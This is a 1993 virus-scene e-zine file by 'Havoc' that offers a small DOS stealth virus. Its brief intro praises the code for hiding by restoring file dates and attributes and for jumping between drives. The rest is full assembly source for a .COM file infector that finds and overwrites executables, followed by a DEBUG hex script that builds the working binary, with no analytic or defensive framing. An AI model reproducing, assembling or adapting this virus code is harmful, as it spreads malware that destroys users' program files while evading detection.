The SOURCE Issue 00, File 005                                       May 31, 1993
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

      Here is an example of a stealth  virus.  It tries to  hide itself from
   being  detected by  use of  restoring date/time  and attributes.  It also
   moves across  drives, which is not that  hard to do, but you don't find a
   substantial  amount  of viruses  which  do  that.  Some  of the coding is
   interesting, as this is not  a very well  optimized virus, but never-the-
   less, it does do it's job, and is fairly small (398 Bytes).


[ÄÄÄ Cut Here ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ]

data_1e         equ     9Eh
data_10e	equ	295h			;*
data_11e	equ	297h			;*
data_13e	equ	0E000h			;*
data_15e	equ	0E195h			;*

seg_a		segment	byte public
		assume	cs:seg_a, ds:seg_a


		org	100h

v405             proc    far

start:
		xchg	ax,si
		add	[bx+si],al
		sahf				; Store ah into flags
		add	[bx+si],al
		nop
		mov	ax,0
		mov	byte ptr es:[249h],al
		mov	byte ptr es:[24Bh],al
		mov	es:data_7,al
		push	ax
		mov	ah,19h
		int	21h			; DOS Services  ah=function 19h
						;  get default drive al  (0=a:)
		mov	byte ptr es:[249h],al
		mov	ah,47h			; 'G'
		add	al,1
		push	ax
		mov	dl,al
		lea	si,ds:[24Bh]		; Load effective addr
		int	21h			; DOS Services  ah=function 47h
						;  get present dir,drive dl,1=a:
						;   ds:si=ASCIIZ directory name
		pop	ax
		mov	ah,0Eh
		sub	al,1
		mov	dl,al
		int	21h			; DOS Services  ah=function 0Eh
						;  set default drive dl  (0=a:)
		mov	es:data_7,al
loc_1:
		mov	al,byte ptr es:[249h]
		cmp	al,0
		jne	loc_2			; Jump if not equal
		mov	ah,0Eh
		mov	dl,2
		int	21h			; DOS Services  ah=function 0Eh
						;  set default drive dl  (0=a:)
		mov	ah,19h
		int	21h			; DOS Services  ah=function 19h
						;  get default drive al  (0=a:)
		mov	byte ptr es:[24Ah],al
		jmp	short loc_4
		db	90h
loc_2:
		cmp	al,1
		jne	loc_3			; Jump if not equal
		mov	ah,0Eh
		mov	dl,2
		int	21h			; DOS Services  ah=function 0Eh
						;  set default drive dl  (0=a:)
		mov	ah,19h
		int	21h			; DOS Services  ah=function 19h
						;  get default drive al  (0=a:)
		mov	byte ptr es:[24Ah],al
		jmp	short loc_4
		db	90h
loc_3:
		cmp	al,2
		jne	loc_4			; Jump if not equal
		mov	ah,0Eh
		mov	dl,0
		int	21h			; DOS Services  ah=function 0Eh
						;  set default drive dl  (0=a:)
		mov	ah,19h
		int	21h			; DOS Services  ah=function 19h
						;  get default drive al  (0=a:)
		mov	byte ptr es:[24Ah],al
loc_4:
		mov	ah,4Eh			; 'N'
		mov	cx,1
		lea	dx,data_8		; Load effective addr
		int	21h			; DOS Services  ah=function 4Eh
						;  find 1st filenam match @ds:dx
		jc	loc_5			; Jump if carry Set
		jmp	short loc_7
		db	90h
loc_5:
		mov	ah,3Bh			; ';'
		lea	dx,ds:data_11e		; Load effective addr
		int	21h			; DOS Services  ah=function 3Bh
						;  set current dir, path @ ds:dx
		mov	ah,4Eh			; 'N'
		mov	cx,11h
		lea	dx,data_9		; Load effective addr
		int	21h			; DOS Services  ah=function 4Eh
						;  find 1st filenam match @ds:dx
		jc	loc_1			; Jump if carry Set
		jmp	short loc_4
loc_6:
		mov	ah,4Fh			; 'O'
		int	21h			; DOS Services  ah=function 4Fh
						;  find next filename match
		jc	loc_5			; Jump if carry Set
		jmp	short loc_7
		db	90h
loc_7:
		mov	ah,3Dh			; '='
		mov	al,2
		mov	dx,data_1e
		int	21h			; DOS Services  ah=function 3Dh
						;  open file, al=mode,name@ds:dx
		mov	bx,ax
		mov	ah,3Fh			; '?'
		mov	cx,195h
		nop
		mov	dx,data_13e
		nop
		int	21h			; DOS Services  ah=function 3Fh
						;  read file, bx=file handle
						;   cx=bytes to ds:dx buffer
		mov	ah,3Eh			; '>'
		int	21h			; DOS Services  ah=function 3Eh
						;  close file, bx=file handle
		mov	bx,es:data_13e
		cmp	bx,9600h
		je	loc_6			; Jump if equal
		mov	ah,43h			; 'C'
		mov	al,0
		mov	dx,data_1e
		int	21h			; DOS Services  ah=function 43h
						;  get attrb cx, filename @ds:dx
		mov	ah,43h			; 'C'
		mov	al,1
		and	cx,0FEh
		int	21h			; DOS Services  ah=function 43h
						;  set attrb cx, filename @ds:dx
		mov	ah,3Dh			; '='
		mov	al,2
		mov	dx,data_1e
		int	21h			; DOS Services  ah=function 3Dh
						;  open file, al=mode,name@ds:dx
		mov	bx,ax
		mov	ah,57h			; 'W'
		mov	al,0
		int	21h			; DOS Services  ah=function 57h
						;  get file date+time, bx=handle
						;   returns cx=time, dx=time
		push	cx
		push	dx
		mov	dx,cs:data_10e
		mov	cs:data_15e,dx
		mov	dx,word ptr cs:data_13e+1
		lea	cx,cs:[194h]		; Load effective addr
		sub	dx,cx
		mov	cs:data_10e,dx
		mov	ah,40h			; '@'
		mov	cx,195h
		nop
		lea	dx,ds:[100h]		; Load effective addr
		int	21h			; DOS Services  ah=function 40h
						;  write file  bx=file handle
						;   cx=bytes from ds:dx buffer
		mov	ah,57h			; 'W'
		mov	al,1
		pop	dx
		pop	cx
		int	21h			; DOS Services  ah=function 57h
						;  set file date+time, bx=handle
						;   cx=time, dx=time
		mov	ah,3Eh			; '>'
		int	21h			; DOS Services  ah=function 3Eh
						;  close file, bx=file handle
		mov	dx,cs:data_15e
		mov	cs:data_10e,dx
		jmp	short $+3		; delay for I/O
		nop
		mov	ah,0Eh
		mov	dl,byte ptr cs:[249h]
		int	21h			; DOS Services  ah=function 0Eh
						;  set default drive dl  (0=a:)
		mov	ah,3Bh			; ';'
		lea	dx,ds:[24Ah]		; Load effective addr
		int	21h			; DOS Services  ah=function 3Bh
						;  set current dir, path @ ds:dx
		mov	ah,0
		int	21h			; DOS Services  ah=function 00h
						;  terminate, cs=progm seg prefx
		add	al,[bx+si]
		push	sp
		inc	bp
		push	bx
		push	sp
		db	60 dup (0)
data_7		db	0Dh
data_8		db	2Ah
		db	 2Eh, 43h, 4Fh, 4Dh, 00h
data_9		db	2Ah
		db	 00h,0E9h

v405             endp

seg_a		ends
		end	start

[ÄÄÄ Cut Here ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ]

n 405.com
e 0100  96 00 00 9E 00 00 90 B8 00 00 26 A2 49 02 26 A2
e 0110  4B 02 26 A2 84 02 50 B4 19 CD 21 26 A2 49 02 B4
e 0120  47 04 01 50 8A D0 BE 4B 02 CD 21 58 B4 0E 2C 01
e 0130  8A D0 CD 21 26 A2 84 02 26 A0 49 02 3C 00 75 11
e 0140  B4 0E B2 02 CD 21 B4 19 CD 21 26 A2 4A 02 EB 28
e 0150  90 3C 01 75 11 B4 0E B2 02 CD 21 B4 19 CD 21 26
e 0160  A2 4A 02 EB 13 90 3C 02 75 0E B4 0E B2 00 CD 21
e 0170  B4 19 CD 21 26 A2 4A 02 B4 4E B9 01 00 BA 85 02
e 0180  CD 21 72 03 EB 1F 90 B4 3B BA 97 02 CD 21 B4 4E
e 0190  B9 11 00 BA 8B 02 CD 21 72 9E EB DC B4 4F CD 21
e 01A0  72 E5 EB 01 90 B4 3D B0 02 BA 9E 00 CD 21 8B D8
e 01B0  B4 3F B9 95 01 90 BA 00 E0 90 CD 21 B4 3E CD 21
e 01C0  26 8B 1E 00 E0 81 FB 00 96 74 D1 B4 43 B0 00 BA
e 01D0  9E 00 CD 21 B4 43 B0 01 81 E1 FE 00 CD 21 B4 3D
e 01E0  B0 02 BA 9E 00 CD 21 8B D8 B4 57 B0 00 CD 21 51
e 01F0  52 2E 8B 16 95 02 2E 89 16 95 E1 2E 8B 16 01 E0
e 0200  B9 94 01 2B D1 2E 89 16 95 02 B4 40 B9 95 01 90
e 0210  BA 00 01 CD 21 B4 57 B0 01 5A 59 CD 21 B4 3E CD
e 0220  21 2E 8B 16 95 E1 2E 89 16 95 02 EB 01 90 B4 0E
e 0230  2E 8A 16 49 02 CD 21 B4 3B BA 4A 02 CD 21 B4 00
e 0240  CD 21 02 00 54 45 53 54 00 00 00 00 00 00 00 00
e 0250  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0260  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0270  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0280  00 00 00 00 0D 2A 2E 43 4F 4D 00 2A 00 E9
rcx
18E
w
q

[ÄÄÄ Cut Here ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ]

            - Havoc

<End_Docs SOURCE00.005>

;  ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;  ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Remember Where You Saw This Phile First <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;  ÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.77.547477 The Netherlands <ÄÄÄÄÄÄÄÄÄ
;  ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
